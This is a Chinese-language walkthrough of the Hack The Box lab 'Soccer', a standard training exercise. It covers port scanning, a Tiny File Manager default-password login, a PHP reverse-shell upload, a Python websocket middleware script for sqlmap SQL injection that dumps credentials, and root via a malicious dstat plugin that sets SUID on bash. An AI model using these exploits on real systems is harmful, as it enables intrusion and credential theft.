HTB靶机：Soccer

靶机信息：

image-20221225111112127

信息收集：

端口扫描：

rustscan -a 10.10.11.194 -- -sC -sV -Pn  -oN nmap
PORT     STATE SERVICE         REASON  VERSION
22/tcp   open  ssh             syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
|   256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp   open  http            syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
9091/tcp open  xmltec-xmlmail? syn-ack
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sat, 24 Dec 2022 06:45:47 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sat, 24 Dec 2022 06:45:48 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.91%I=7%D=12/24%Time=63A6A015%P=x86_64-pc-linux-gnu%r(i
SF:nformix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\
SF:x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC
SF:ontent-Length:\x20139\r\nDate:\x20Sat,\x2024\x20Dec\x202022\x2006:45:47
SF:\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan
SF:g=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n<
SF:/head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(H
SF:TTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Po
SF:licy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143
SF:\r\nDate:\x20Sat,\x2024\x20Dec\x202022\x2006:45:48\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<m
SF:eta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>
SF:Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"H
SF:TTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-
SF:src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x2
SF:0text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,
SF:\x2024\x20Dec\x202022\x2006:45:48\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"
SF:utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS
SF:\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2
SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")
SF:%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口：

添加hosts访问，感觉没啥有用信息。

image-20221225111615069

目录扫描：

这里使用大一点的字典，可以扫出一个/tiny的目录。

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt  -t 50 -u http://soccer.htb/

image-20221225112247953

image-20221225112310914

这里需要密码，可以从https://github.com/prasathmani/tinyfilemanager找到默认账号密码（这一点也可以爆破出来）。

默认： admin/admin@123 and user/12345.

存在上传界面，文件上传得到webshell，但是根目录不可写，uploads目录可写可执行，这里直接上传反弹shell.

image-20221225112652507

#找一个反弹shell
cp /usr/share/webshells/php/php-reverse-shell.php w.php 
#修改ip和端口。

获取到shell后查看nginx配置文件可以发现另一个vhost：soc-player.htb

image-20221225114038677

添加hosts,访问可以发现顶部多出login，signup等选项：

image-20221225114133863

注册登录，有个ticket功能，测试发现是和9091端口交互的websocket请求：

image-20221225114245094

image-20221225115050214

image-20221225115106389

修改一下这个blog里脚本：

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message
	print("data: "+ data)
	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			print(content)
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
#开启脚本
python3 sql.py
#sqlmap注入
sqlmap -u http://localhost:8081/\?id\=74913 -D soccer_db -T accounts --dump

image-20221225120028160

ssh:

使用账号密码进行连接player ： PlayerOftheMatch2022

提权：

基础枚举，发现可以无密码以root身份doas运行dstat：

find / -type d -name dstat 2>/dev/null

根据文档，dstat可以用来监控和查看系统资源。并且它支持自定义插件。因此，我们可以创建一个恶意插件来执行我们的代码，然后以 root 权限运行 dstat

https://linux.die.net/man/1/dstat

可以通过自定义插件的方式来进行提权

cd /usr/local/share/dstat/
# 文件名需要dstst_*.py
nano dstat_hack.py
# 确认插件可以被检测到
dstat --list | grep hack
# 执行插件中的恶意命令：
doas -u root /usr/bin/dstat --hack
#dstat_hack.py
import os
os.system('chmod +s /usr/bin/bash')

image-20221225124636001

结尾：

image-20221225124729389